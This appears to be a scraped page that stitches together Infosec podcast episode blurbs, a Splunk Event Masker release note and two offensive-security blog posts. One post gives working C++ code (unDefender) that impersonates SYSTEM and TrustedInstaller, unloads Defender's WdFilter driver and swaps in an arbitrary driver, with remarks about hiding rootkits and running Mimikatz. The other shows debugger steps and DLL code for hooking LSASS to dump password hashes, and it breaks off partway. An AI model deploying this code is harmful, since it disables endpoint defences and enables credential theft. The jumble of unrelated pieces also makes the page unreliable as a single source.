Neal Dennis of Cyware talks to us about building a collective defense via increased threat intelligence sharing in the global security community. Dennis has worked with customer success and clients, helping them map out new intelligence workflows, and has also built out several intelligence analysis programs for Fortune 500 companies. Neal started his career as a SIGINT specialist while serving in the United States Marine Corps and later supported cyber initiatives for USCYBERCOM, STRATCOM, NSA, 24th Air Force, USAF Office of Special Investigations and JFCC-NW.
0:00 - Intro 2:10 - Origin story 3:57 - Military and linguistics influence 6:10 - Work in counterintelligence 8:51 - Digital forensics work 11:02 - Changes in open-source intelligence work 13:00 - Building a global defensive network 15:46 - Why aren’t we sharing info? 18:41 - How to implement global changes? 23:42 - Areas of friction for sharing 29:15 - Threat intel and open-source intel as a job 32:55 - Do research analysis 35:03 - Hiring outlook 37:15 - Tell us about Cyware 39:38 - Learn more about Dennis and Cyware 40:06 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Adam Levin of CyberScout talks to us about scams, identity theft and more across the cybersecurity industry from the 1970s until today. He also tells us about his podcast, What the Hack with Adam Levin, which is focused on hacking, fraud and theft.
0:00 - Intro 3:01 - Origin story 7:07 - Bank safety in the old days 8:02 - Fraud and scams over the years 9:27 - Tactics today 13:15 - Scam experiences 14:33 - Scam embarrassment and stigma 18:17 - What the Hack podcast 20:22 - A taste of What the Hack 21:28 - How do you pursue stories for the podcast? 25:38 - How do you structure episodes? 26:44 - Humor in cybersecurity environment 28:43 - Work from home balance 30:25 - What is hot in fraud right now 36:50 - Credit reports 38:28 - Consumer protection and fraud careers 42:53 - Cyber savvy countries 44:31 - Predictions on fraud evolution 48:26 - Benefit to nationwide education? 50:42 - Optimism for security education 52:26 - Find out more about What the Hack 52:58 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Ning Wang of Offensive Security talks to us about her role as CEO of Offensive Security. In her role she is responsible for the company culture, vision, strategy and execution. We talk about Wang’s cybersecurity journey, her direction at OffSec and the ways that white hat hackers can be recruited into the industry, possibly riding the interest of big news-story hacking events like the Colonial Pipeline hack to do so.
0:00 - Intro 2:21 - Origin story 5:31 - Changing careers 7:46 - Skills learned throughout Wang’s career 11:46 - Taking a chance on a new career 12:50 - What is Offensive Security? 16:19 - Try harder mindset 19:42 - Offensive Security certification 23:02 - Recruiting ethical hackers 28:12 - Civic responsibility 33:10 - Ethical hacking job specialties 36:49 - Tips for ethical hacking learners 40:09 - Women in cybersecurity 43:56 - Offensive Security’s future 46:35 - Feedback from students 48:11 - Learn more about Wang OS 48:48 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
We are proud to announce a new release for Event Masker, with many productivity tweaks and significant enhancements.
ES Integration
It was cumbersome to move from the tab where you had the notable event you wanted to mask, to the tab with Event Masker opened on the correct rule. That is why you may now create a mask rule directly from Splunk Enterprise Security Incident Review panel.
By selecting the Actions drop down menu and clicking on Whitelist Notable in Event Masker, you are directed to the rule creation page. The notable events fields are prefilled, as well as the scope and name of the rule, so it is easy for you to pick what you need. Tick the boxes, tweak the lines as you see fit, and that’s it! Don’t waste anymore time copy/pasting the values!
Validity Period Logic
Event whitelisting based on timespan needed to be more flexible. Previously, we used the time of search to decide when to mask events. From now on, we use the generated time of the given events.
Also, we have seen that the _time field is not necessarily available at the moment you invoke the mask streaming command. Thus, we added the timefield argument to specify against which field you want time exclusions to be applied. For programmatic reasons, its format is %Y-%m-%d %H:%M:%S.%Q.
This enables, for instance, to mask a maintenance window where you see the same events again and again.
Below is an example of logs that are masked only between 10:10 AM and 10:20 AM:
Revisited Interface
To ease your life, we moved all the parameters related to a rule on a single page. The rule properties are now above their conditions, to keep a simple and consistent view of what you are doing.
Customizable Rule Types
Want to classify you rules your way? The list of rule types is now based on a lookup table you may edit however you’d like. You may use the well known Splunk application Lookup Editor to update event_masker_rules_type_lookup.csv.
Detailed Comments
Imagine a rule with many hash values. With the new comment column available on every condition, you can explain what it actually means. This new field grants you unprecedented capability to document the rule at the best place of all!
Dashboard and Logs
We extended the logs generated by the mask command and added logs for rule changes (currently, this feature requires write permission on _internals).
This enables new filters on existing dashboards. For instance, the mask command activity can be filtered by scope, rule title or log level.
From the rule list panel, you may jump to the logs to review all changes that occurred on this rule. We see a couple of use cases:
troubleshooting regression implied by a recent change
peer review of new whitelists
Hence, two new dashboards are available: Event Masker Logs for mask command, and Event Masker Audit Logs for rule logs. Isn’t it simple?
A new panel on Event Masker Overview shows all the rules and conditions for a given scope:
Default Permission
We updated default permission to add ess_user, ess_analyst and ess_admin roles to read the app content, and added ess_admin write capabilities.
We’d love hearing from you: what you achieved, what you think of it, the features you miss, and the unlikely bugs you found You may reach us with GitHub issues or at the e-mail address provided in the readme.
Last but not least, a thunder applause for SCRT’s engineers whose commitment to excellence made this update possible!
Gemma Moore of Cyberis Limited talks about her incredible pentesting career and shares her advice for aspiring pentesters. She also discusses security as it regards the human cost of social engineering, which is the title of a recent article Gemma wrote.
– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook – Start learning cybersecurity for free: https://www.infosecinstitute.com/free – View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast 0:00 - Intro 5:26 - Becoming a world-class pentester 13:55 - 2004 pentesting versus now 17:25 - Early years of pentesting 19:30 - Natural skills to be a pentester 23:12 - Advice for aspiring pentesters 25:50 - Working in pentesting 27:50 - Red teaming 31:08 - How to be a great pentester 33:04 - Learn about CREST 36:13 - What should be on my resume? 37:45 - Cyberis Limited 40:25 - Diversity and inclusion 43:42 - The human cost of social engineering 50:06 - Training staff positively 52:54 - Current projects 54:20 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
With Administrator level privileges and without interacting with the GUI, it’s possible to prevent Defender from doing its job while keeping it alive and without disabling tamper protection by redirecting the \Device\BootDevice NT symbolic link which is part of the NT path from where Defender’s WdFilter driver binary is loaded. This can also be used to make Defender load an arbitrary driver, which no tool succeeds in locating, but it does not survive reboots. The code to do that is in APTortellini’s Github repository unDefender.
Introduction
Some time ago I had a chat with jonasLyk of the Secret Club hacker collective about a technique he devised to disable Defender without making it obvious it was disabled and/or invalidating its tamper protection feature. What I liked about this technique was that it employed some really clever NT symbolic links shenanigans I’ll try to outline in this blog post (which, coincidentally, is also the first one of the Advanced Persistent Tortellini collective :D). Incidentally, this techniques makes for a great way to hide a rootkit inside a Windows system, as Defender can be tricked into loading an arbitrary driver (that, sadly, has to be signed) and no tool is able to pinpoint it, as you’ll be able to see in a while. Grab a beer, and enjoy the ride lads!
Win32 paths, NT paths and NT symbolic links
When loading a driver in Windows there are two ways of specifying where on the filesystem the driver binary is located: Win32 paths and NT paths. A complete analysis of the subtle differences between these two kinds of paths is out of the scope of this article, but James Forshaw already did a great job at explaining it. Essentially, Win32 paths are a dumbed-down version of the more complete NT paths and heavily rely on NT symbolic links. Win32 paths are the familiar path we all use everyday, the ones with letter drives, while NT paths use a different tree structure on which Win32 paths are mapped. Let’s look at an example:
Win32 path
NT Path
C:\Temp\test.txt
\Device\HarddiskVolume4\Temp\test.txt
When using explorer.exe to navigate the folders in the filesystem we use Win32 paths, though it’s just an abstraction layer as the kernel uses NT paths to work and Win32 paths are translated to NT paths before being consumed by the OS.
To make things a bit more complicated, NT paths can make use of NT symbolic links, just as there are symbolic links in Win32 paths. In fact, drive letters like C: and D: are actually NT symbolic links to NT paths: as you can see in the table above, on my machine C: is a NT symbolic link to the NT path \Device\HarddiskVolume4. Several NT symbolic links are used for various purposes, one of them is to specify the path of certain drivers, like WdFilter for example: by querying it using the CLI we can see the path from which it’s loaded:
As you can see the path starts with \SystemRoot, which is a NT symbolic link. Using SysInternals’ Winobj.exe we can see that \SystemRoot points to \Device\BootDevice\Windows. \Device\BootDevice is itself another symbolic link to, at least for my machine, \Device\HarddiskVolume4. Like all objects in the Windows kernel, NT symbolic links’ security is subordinated to ACL. Let’s inspect them:
SYSTEM (and Administrators) don’t have READ/WRITE privilege on the NT symbolic link \SystemRoot (although we can query it and see where it points to), but they have the DELETE privilege. Factor in the fact SYSTEM can create new NT symbolic links and you get yourself the ability to actually change the NT symbolic link: just delete it and recreate it pointing it to something you control. The same applies for other NT symbolic links, \Device\BootDevice included. To actually rewrite this kind of symbolic link we need to use native APIs as there are no Win32 APIs for that.
The code
I’ll walk you through some code snippets from our project unDefender which abuses this behaviour. Here’s a flowchart of how the different pieces of the software work:
All the functions used in the program are defined in the common.h header. Here you will also find definitions of the Nt functions I had to dynamically load from ntdll. Note that I wrap the HANDLE, HMODULE and SC_HANDLE types in custom types part of the RAII namespace as I heavily rely on C++’s RAII paradigm in order to safely handle these types. These custom RAII types are defined in the raii.h header and implemented in their respective .cpp files.
Getting SYSTEM
First things first, we elevate our token to a SYSTEM one. This is easily done through the GetSystem function, implemented in the GetSystem.cpp file. Here we basically open winlogon.exe, a SYSTEM process running unprotected in every Windows session, using the OpenProcess API. After that we open its token, through OpenProcessToken, and impersonate it using ImpersonateLoggedOnUser, easy peasy.
#include "common.h"
boolGetSystem(){RAII::HandlewinlogonHandle=OpenProcess(PROCESS_ALL_ACCESS,false,FindPID(L"winlogon.exe"));if(!winlogonHandle.GetHandle()){std::cout<<"[-] Couldn't get a PROCESS_ALL_ACCESS handle to winlogon.exe, exiting...\n";returnfalse;}elsestd::cout<<"[+] Got a PROCESS_ALL_ACCESS handle to winlogon.exe!\n";HANDLEtempHandle;autosuccess=OpenProcessToken(winlogonHandle.GetHandle(),TOKEN_QUERY|TOKEN_DUPLICATE,&tempHandle);if(!success){std::cout<<"[-] Couldn't get a handle to winlogon.exe's token, exiting...\n";returnsuccess;}elsestd::cout<<"[+] Opened a handle to winlogon.exe's token!\n";RAII::HandletokenHandle=tempHandle;success=ImpersonateLoggedOnUser(tokenHandle.GetHandle());if(!success){std::cout<<"[-] Couldn't impersonate winlogon.exe's token, exiting...\n";returnsuccess;}elsestd::cout<<"[+] Successfully impersonated winlogon.exe's token, we are SYSTEM now ;)\n";returnsuccess;}
Saving the symbolic link current state
After getting SYSTEM we need to backup the current state of the symbolic link, so that we can programmatically restore it later. This is done through the GetSymbolicLinkTarget implemented in the GetSymbolicLinkTarget.cpp file. After resolving the address of the Nt functions (skipped in the following snippet) we define two key data structures: a UNICODE_STRING and an OBJECT_ATTRIBUTES. These two are initialized through the RtlInitUnicodeString and InitializeObjectAttributes APIs. The UNICODE_STRING is initialized using the symLinkName variable, which is of type std::wstring and is one of the arguments passed to GetSymbolicLinkTarget by the main function. The first one is a structure the Windows kernel uses to work with unicode strings (duh!) and is necessary for initializing the second one, which in turn is used to open a handle to the NT symlink using the NtOpenSymbolicLinkObject native API with GENERIC_READ access. Before that though we define a HANDLE which will be filled by NtOpenSymbolicLinkObject itself and that we will assign to the corresponding RAII type (I have yet to implement a way of doing it directly without using a temporary disposable variable, I’m lazy).
Done that we proceed to initialize a second UNICODE_STRING which will be used to store the symlink target retrieved by the NtQuerySymbolicLinkObject native API, which takes as arguments the RAII::Handle we initialized before, the second UNICODE_STRING we just initialized and a nullptr as we don’t care about the number of bytes read. Done that we return the buffer of the second UNICODE_STRING and call it a day.
UNICODE_STRINGsymlinkPath;RtlInitUnicodeString(&symlinkPath,symLinkName.c_str());OBJECT_ATTRIBUTESsymlinkObjAttr{};InitializeObjectAttributes(&symlinkObjAttr,&symlinkPath,OBJ_KERNEL_HANDLE,NULL,NULL);HANDLEtempSymLinkHandle;NTSTATUSstatus=NtOpenSymbolicLinkObject(&tempSymLinkHandle,GENERIC_READ,&symlinkObjAttr);RAII::HandlesymLinkHandle=tempSymLinkHandle;UNICODE_STRINGLinkTarget{};wchar_tbuffer[MAX_PATH]={L'\0'};LinkTarget.Buffer=buffer;LinkTarget.Length=0;LinkTarget.MaximumLength=MAX_PATH;status=NtQuerySymbolicLinkObject(symLinkHandle.GetHandle(),&LinkTarget,nullptr);if(!NT_SUCCESS(status)){Error(RtlNtStatusToDosError(status));std::wcout<<L"[-] Couldn't get the target of the symbolic link "<<symLinkName<<std::endl;returnL"";}elsestd::wcout<<"[+] Symbolic link target is: "<<LinkTarget.Buffer<<std::endl;returnLinkTarget.Buffer;
Changing the symbolic link
Now that we have stored the older symlink target it’s time we change it. To do so we once again setup the two UNICODE_STRING and OBJECT_ATTRIBUTES structures that will identify the symlink we want to target and then call the native function NtOpenSymbolicLink to get a handle to said symlink with DELETE privileges.
After that, we proceed to delete the symlink. To do that we first have to call the native function NtMakeTemporaryObject and pass it the handle to the symlink we just got. That’s because this kind of symlinks are created with the OBJ_PERMANENT attribute, which increases the reference counter of their kernel object in kernelspace by 1. This means that even if all handles to the symbolic link are closed, the symbolic link will continue to live in the kernel object manager. So, in order to delete it we have to make the object no longer permanent (hence temporary), which means NtMakeTemporaryObject simply decreases the reference counter by one. When we call the CloseHandle API after that on the handle of the symlink, the reference counter goes to zero and the object is destroyed:
Once we have deleted the symlink it’s time to recreate it and make it point to the new target. This is done by initializing again a UNICODE_STRING and a OBJECT_ATTRIBUTES and calling the NtCreateSymbolicLinkObject API:
UNICODE_STRINGtarget;RtlInitUnicodeString(&target,newDestination.c_str());UNICODE_STRINGnewSymLinkPath;RtlInitUnicodeString(&newSymLinkPath,symLinkName.c_str());OBJECT_ATTRIBUTESnewSymLinkObjAttr{};InitializeObjectAttributes(&newSymLinkObjAttr,&newSymLinkPath,OBJ_CASE_INSENSITIVE|OBJ_PERMANENT,NULL,NULL);HANDLEnewSymLinkHandle;status=NtCreateSymbolicLinkObject(&newSymLinkHandle,SYMBOLIC_LINK_ALL_ACCESS,&newSymLinkObjAttr,&target);if(status!=STATUS_SUCCESS){std::wcout<<L"[-] Couldn't create new symbolic link "<<symLinkName<<L" to "<<newDestination<<L". Error:0x"<<std::hex<<status<<std::endl;returnstatus;}elsestd::wcout<<L"[+] Symbolic link "<<symLinkName<<L" to "<<newDestination<<L" created!"<<std::endl;CloseHandle(newSymLinkHandle);returnSTATUS_SUCCESS;
Note two things:
when calling InitializeObjectAttributes we pass the OBJ_PERMANENT attribute as argument, so that the symlink is created as permanent, in order to avoid having the symlink destroyed when unDefender exits;
right before returning STATUS_SUCCESS we call CloseHandle on the newly created symlink. This is necessary because if the handle stays open the reference counter of the symlink will be 2 (1 for the handle, plus 1 for the OBJ_PERMANENT) and we won’t be able to delete it later when we will try to restore the old symlink.
At this point the symlink is changed and points to a location we have control on. In this location we will have constructed a directory tree which mimicks WdFilter’s one and copied our arbitrary driver, conveniently renamed WdFilter.sys - we do it in the first line of the main function through a series of system() function calls. I know it’s uncivilized to do it this way, deal with it.
Killing Defender
Now we move to the juicy part, killing Damnfender! This is done in the ImpersonateAndUnload helper function (implemented in ImpersonateAndUnload.cpp) in 4 steps:
start the TrustedInstaller service and process;
open TrustedInstaller’s first thread;
impersonate its token;
unload WdFilter;
We need to impersonate TrustedInstaller because the Defender and WdFilter services have ACLs which gives full control on them only to NT SERVICE\TrustedInstaller and not to SYSTEM or Administrators.
Step 1 - Starting TrustedInstaller
The first thing to do is starting the TrustedInstaller service. To do so we need to get a HANDLE (actually a SC_HANDLE, which is a particular type of HANDLE for the Service Control Manager.) on the Service Control Manager using the OpenSCManagerW API, then use that HANDLE to call OpenServiceW on the TrustedInstaller service and get a HANDLE on it, and finally pass that other HANDLE to StartServiceW. This will start the TrustedInstaller service, which in turn will start the TrustedInstaller process, whose token contains the SID of NT SERVICE\TrustedInstaller. Pretty straightforward, here’s the code:
RAII::ScHandlesvcManager=OpenSCManagerW(nullptr,nullptr,SC_MANAGER_ALL_ACCESS);if(!svcManager.GetHandle()){Error(GetLastError());return1;}elsestd::cout<<"[+] Opened handle to the SCM!\n";RAII::ScHandletrustedInstSvc=OpenServiceW(svcManager.GetHandle(),L"TrustedInstaller",SERVICE_START);if(!trustedInstSvc.GetHandle()){Error(GetLastError());std::cout<<"[-] Couldn't get a handle to the TrustedInstaller service...\n";return1;}elsestd::cout<<"[+] Opened handle to the TrustedInstaller service!\n";autosuccess=StartServiceW(trustedInstSvc.GetHandle(),0,nullptr);if(!success&&GetLastError()!=0x420)// 0x420 is the error code returned when the service is already running{Error(GetLastError());std::cout<<"[-] Couldn't start TrustedInstaller service...\n";return1;}elsestd::cout<<"[+] Successfully started the TrustedInstaller service!\n";
Step 2 - Opening TrustedInstaller’s first thread
Now that the TrustedInstaller process is alive, we need to open a handle its first thread, so that we can call the native API NtImpersonateThread on it in step 3. This is done using the following code:
autotrustedInstPid=FindPID(L"TrustedInstaller.exe");if(trustedInstPid==ERROR_FILE_NOT_FOUND){std::cout<<"[-] Couldn't find the TrustedInstaller process...\n";return1;}autotrustedInstThreadId=GetFirstThreadID(trustedInstPid);if(trustedInstThreadId==ERROR_FILE_NOT_FOUND||trustedInstThreadId==0){std::cout<<"[-] Couldn't find TrustedInstaller process' first thread...\n";return1;}RAII::HandlehTrustedInstThread=OpenThread(THREAD_DIRECT_IMPERSONATION,false,trustedInstThreadId);if(!hTrustedInstThread.GetHandle()){std::cout<<"[-] Couldn't open a handle to the TrustedInstaller process' first thread...\n";return1;}elsestd::cout<<"[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the TrustedInstaller process' first thread!\n";
FindPID and GetFirstThreadID are two helper functions I implemented in FindPID.cpp and GetFirstThreadID.cpp which do exactly what their names tell you: they find the PID of the process you pass them and give you the TID of its first thread, easy. We need the first thread as it will have for sure the NT SERVICE\TrustedInstaller SID in it. Once we’ve got the thread ID we pass it to the OpenThread API with the THREAD_DIRECT_IMPERSONATION access right, which enables us to use the returned handle with NtImpersonateThread later.
Step 3 - Impersonating TrustedInstaller
Now that we have a powerful enough handle we can call NtImpersonateThread on it. But first we have to initialize a SECURITY_QUALITY_OF_SERVICE data structure to tell the kernel which kind of impersonation we want to perform, in this case SecurityImpersonation, that’s a impersonation level which allows us to impersonate the security context of our target locally (look here for more information on Impersonation Levels):
SECURITY_QUALITY_OF_SERVICEsqos={};sqos.Length=sizeof(sqos);sqos.ImpersonationLevel=SecurityImpersonation;autostatus=NtImpersonateThread(GetCurrentThread(),hTrustedInstThread.GetHandle(),&sqos);if(status==STATUS_SUCCESS)std::cout<<"[+] Successfully impersonated TrustedInstaller token!\n";else{Error(GetLastError());std::cout<<"[-] Failed to impersonate TrustedInstaller...\n";return1;}
If NtImpersonateThread did its job well our thread should have the SID of TrustedInstaller now. Note: in order not to fuck up the main thread’s token, ImpersonateAndUnload is called by main in a sacrificial std::thread. Now that we have the required access rights, we can go to step 4 and actually unload the driver.
Step 4 - Unloading WdFilter.sys
To unload WdFilter we first have to release the lock imposed on it by Defender itself. This is achieved by restarting the WinDefend service using the same approach we used to start TrustedInstaller’s one. But first we need to give our token the ability to load and unload drivers. This is done by enabling the SeLoadDriverPrivilege in our security context by calling the helper function SetPrivilege, defined in SetPrivilege.cpp, and by passing it our thread’s token and the privilege we want to enable:
HANDLEtempHandle;success=OpenThreadToken(GetCurrentThread(),TOKEN_ALL_ACCESS,false,&tempHandle);if(!success){Error(GetLastError());std::cout<<"[-] Failed to open current thread token, exiting...\n";return1;}RAII::HandlecurrentToken=tempHandle;success=SetPrivilege(currentToken.GetHandle(),L"SeLoadDriverPrivilege",true);if(!success)return1;
Once we have the SeLoadDriverPrivilege enabled we proceed to restart Defender’s service, WinDefend:
RAII::ScHandlewinDefendSvc=OpenServiceW(svcManager.GetHandle(),L"WinDefend",SERVICE_ALL_ACCESS);if(!winDefendSvc.GetHandle()){Error(GetLastError());std::cout<<"[-] Couldn't get a handle to the WinDefend service...\n";return1;}elsestd::cout<<"[+] Opened handle to the WinDefend service!\n";SERVICE_STATUSsvcStatus;success=ControlService(winDefendSvc.GetHandle(),SERVICE_CONTROL_STOP,&svcStatus);if(!success){Error(GetLastError());std::cout<<"[-] Couldn't stop WinDefend service...\n";return1;}elsestd::cout<<"[+] Successfully stopped the WinDefend service! Proceeding to restart it...\n";Sleep(10000);success=StartServiceW(winDefendSvc.GetHandle(),0,nullptr);if(!success){Error(GetLastError());std::cout<<"[-] Couldn't restart WinDefend service...\n";return1;}elsestd::cout<<"[+] Successfully restarted the WinDefend service!\n";
The only thing different from when we started TrustedInstaller’s service is that we first have to stop the service using the ControlService API (by passing the SERVICE_CONTROL_STOP control code) and then start it back using StartServiceW once again. Once Defender’s restarted, the lock on WdFilter is released and we can call NtUnloadDriver on it:
UNICODE_STRINGwdfilterDrivServ;RtlInitUnicodeString(&wdfilterDrivServ,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Wdfilter");status=NtUnloadDriver(&wdfilterDrivServ);if(status==STATUS_SUCCESS){std::cout<<"[+] Successfully unloaded Wdfilter!\n";}else{Error(status);std::cout<<"[-] Failed to unload Wdfilter...\n";}returnstatus;
The native function NtUnloadDriver gets a single argument, which is a UNICODE_STRING containing the driver’s registry path (which is a NT path, as \Registry can be seen using WinObj). If everything went according to plan, WdFilter has been unloaded from the kernel.
Reloading and restoring the symlink
Now that WdFilter has been unloaded, Defender’s tamper protection should kick in in a matter of moments and immediately reload it, while also locking it in order to prevent further unloadings. If the symlink has been changed successfully and the directory structure has been created correctly what will be loaded is the driver we provided (which in unDefender’s case is RWEverything). Meanwhile, in 10 seconds, unDefender will restore the original symlink by calling ChangeSymlink again and passing it the old symlink target.
In the demo you can notice a few things:
the moment WdFilter is unloaded you can see its entry in Process Hacker turning red;
the moment tamper protection kicks in, WdFilter comes right back in green;
I managed to copy and run Mimikatz without Defender complaining.
Note: Defender’s icon became yellow in the lower right because it was unhappy with me disabling automatic sample submission, it’s unrelated to unDefender.
EDIT: as of 25/02/2022 this technique seems to have been fixed by MS!
PLEASE NOTE: Around minute 47, I incorrectly say that Eric Milam, author of the definitive report on the BAHAMUT threat group, is employed by HP. He is, in fact, employed by Blackberry. I sincerely apologize to Mr. Milam for the error.
In this special episode, we look back at how the show has evolved over the past three years and celebrate our amazing guests and viewers. You've helped grow the Cyber Work Podcast to nearly a million plays!
To give back, we're launching a brand new way for EVERYONE to build their cybersecurity skills. It's free. It's hands-on. Oh, and did we mention there's more than $1,000 in prizes EVERY MONTH.
Huge thank you to all the past guests who shared their expertise over the past 200 episodes. The timings of everyone in this episode are listed below. Happy listening!
0:00 - Intro 0:42 - Monthly challenges and $1,000 in prizes! 1:30 - Cyber Work Podcast origins 2:32 - First episode with Leighton Johnson 3:16 - Finding our first guests 3:46 - Keatron Evans on incident response 6:54 - Susan Morrow on two-factor authentication 8:54 - Susan Morrow on GDPR 11:03 - Susan Morrow on "booth babes" and speaking up 13:20 - Alissa Knight on getting arrested for hacking at 17 16:39 - Alissa Knight on API security 19:14 - Ron Gula on cybersecurity challenges 23:23 - Amber Schroader on the real work of digital forensics 26:19 - Theme of the Cyber Work Podcast 27:01 - Jeff Williams on creating the OWASP Top Ten 31:23 - David Balcar on the biggest APTs 33:46 - Elie Bursztein on breaking into cybersecurity 37:37 - Sam King on AppSec frameworks and analysis 41:17 - Gary DeMercurio on getting arrested for red teaming 47:19 - Eric Milam on the BAHAMUT threat group 53:39 - Feedback from Cyber Work Podcast listeners 55:16 - Alyssa Miller on finding your career path 57:24 - Amber Schroader on computer forensics tasks 59:07 - Richard Ford on malware analyst careers 1:02:02 - Career action you can take today 1:02:19 - Rita Gurevich on reading and learning 1:03:20 - Snehal Antani on transitioning careers 1:04:26 - Promoting underrepresented voices 1:05:09 - Mari Galloway on women in cybersecurity 1:05:31 - Alyssa Miller on diversity "dog whistles" 1:10:11 - Christine Izuakor on creating role models 1:10:52 - We want to hear your story 1:11:40 - Monthly challenges and outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
This is a repost of an analysis I posted on my Gitbook some time ago. Basically, when you authenticate as ANY local user on Windows, the NT hash of that user is checked against the NT hash of the supplied password by LSASS through the function MsvpPasswordValidate, exported by NtlmShared.dll. If you hook MsvpPasswordValidate you can extract this hash without touching the SAM. Of course, to hook this function in LSASS you need admin privilege. Technically it also works for domain users who have logged on the machine at least once, but the resulting hash is not a NT hash, but rather a MSCACHEv2 hash.
Since I had some spare time I decided to look into it and try and write my own local password dumping utility. But first, I had to confirm this information.
Confirming the information
To do so, I fired up a Windows 10 20H2 VM, set it up for kernel debugging and set a breakpoint into lsass.exe at the start of MsvpPasswordValidate (part of the NtlmShared.dll library) through WinDbg. But first you have to find LSASS’ _EPROCESS address using the following command:
!process 0 0 lsass.exe
Once the _EPROCESS address is found we have to switch WinDbg’s context to the target process (your address will be different):
.process /i /p /r ffff8c05c70bc080
Remember to use the g command right after the last command to make the switch actually happen. Now that we are in LSASS’ context we can load into the debugger the user mode symbols, since we are in kernel debugging, and then place a breakpoint at NtlmShared!MsvpPasswordValidate:
.reload /user
bp NtlmShared!MsvpPasswordValidate
We can make sure our breakpoint has been set by using the bl command:
Before we go on however we need to know what to look for. MsvpPasswordValidate is an undocumented function, meaning we won’t find it’s definition on MSDN. Looking here and there on the interwebz I managed to find it on multiple websites, so here it is:
What we are looking for is the fourth argument. The “Passwords” argument is of type PUSER_INTERNAL1_INFORMATION. This is a pointer to a SAMPR_USER_INTERNAL1_INFORMATION structure, whose first member is the NT hash we are looking for:
As MsvpPasswordValidate uses the stdcall calling convention, we know the Passwords argument will be stored into the R9 register, hence we can get to the actual structure by dereferencing the content of this register. With this piece of information we type g once more in our debugger and attempt a login through the runas command:
And right there our VM froze because we hit the breakpoint we previously set:
Now that our CPU is where we want it to be we can check the content of R9:
db @r9
That definetely looks like a hash! We know our test user uses “antani” as password and its NT hash is 1AC1DBF66CA25FD4B5708E873E211F06, so the extracted value is the correct one.
Writing the DLL
Now that we have verified FuzzySec’s hint we can move on to write our own password dumping utility. We will write a custom DLL which will hook MsvpPasswordValidate, extract the hash and write it to disk. This DLL will be called HppDLL, since I will integrate it in a tool I already made (and which I will publish sooner or later) called HashPlusPlus (HPP for short). We will be using Microsoft Detours to perform the hooking action, better not to use manual hooking when dealing with critical processes like LSASS, as crashing will inevitably lead to a reboot. I won’t go into details on how to compile Detours and set it up, it’s pretty straightforward and I will include a compiled Detours library into HppDLL’s repository.
The idea here is to have the DLL hijack the execution flow as soon as it reaches MsvpPasswordValidate, jump to a rogue routine which we will call HookMSVPPValidate and that will be responsible for extracting the credentials. Done that, HookMSVPPValidate will return to the legitimate MsvpPasswordValidate and continue the execution flow transparently for the calling process. Complex? Not so much actually.
Hppdll.h
We start off by writing the header all of the code pieces will include:
#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN
// uncomment the following definition to enable debug logging to c:\debug.txt#define DEBUG_BUILD
#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"
// if this is a debug build declare the PrintDebug() function// and define the DEBUG macro in order to call it// else make the DEBUG macro do nothing#ifdef DEBUG_BUILD
voidPrintDebug(std::stringinput);#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif
// namespace containing RAII types to make sure handles are always closed before detaching our DLLnamespaceRAII{classLibrary{public:Library(std::wstringinput);~Library();HMODULEGetHandle();private:HMODULE_libraryHandle;};classHandle{public:Handle(HANDLEinput);~Handle();HANDLEGetHandle();private:HANDLE_handle;};}//functions used to install and remove the hookboolInstallHook();boolRemoveHook();// define the pMsvpPasswordValidate type to point to MsvpPasswordValidatetypedefBOOLEAN(WINAPI*pMsvpPasswordValidate)(BOOLEAN,NETLOGON_LOGON_INFO_CLASS,PVOID,void*,PULONG,PUSER_SESSION_KEY,PVOID);externpMsvpPasswordValidateMsvpPasswordValidate;// define our hook function with the same parameters as the hooked function// this allows us to directly access the hooked function parametersBOOLEANHookMSVPPValidate(BOOLEANUasCompatibilityRequired,NETLOGON_LOGON_INFO_CLASSLogonLevel,PVOIDLogonInformation,void*Passwords,PULONGUserFlags,PUSER_SESSION_KEYUserSessionKey,PVOIDLmSessionKey);
This header includes various Windows headers that define the various native types used by MsvpPasswordValidate. You can see I had to slightly modify the MsvpPasswordValidate function definition since I could not find the headers defining PUSER_INTERNAL1_INFORMATION, hence we treat it like a normal void pointer. I also define two routines, InstallHook and RemoveHook, that will deal with injecting our hook and cleaning it up afterwards. I also declare a RAII namespace which will hold RAII classes to make sure handles to libraries and other stuff will be properly closed as soon as they go out of scope (yay C++).
I also define a pMsvpPasswordValidate type which we will use in conjunction with GetProcAddress to properly resolve and then call MsvpPasswordValidate. Since the MsvpPasswordValidate pointer needs to be global we also extern it.
DllMain.cpp
The DllMain.cpp file holds the definition and declaration of the DllMain function, responsible for all the actions that will be taken when the DLL is loaded or unloaded:
Top to bottom, we include pch.h to enable precompiled headers and speed up compilation, and hppdll.h to include all the types and functions we defined earlier. We also set to nullptr the MsvpPasswordValidate function pointer, which will be filled later by the InstallHook function with the address of the actual MsvpPasswordValidate. You can see that InstallHook gets called when the DLL is loaded and RemoveHook is called when the DLL is unloaded.
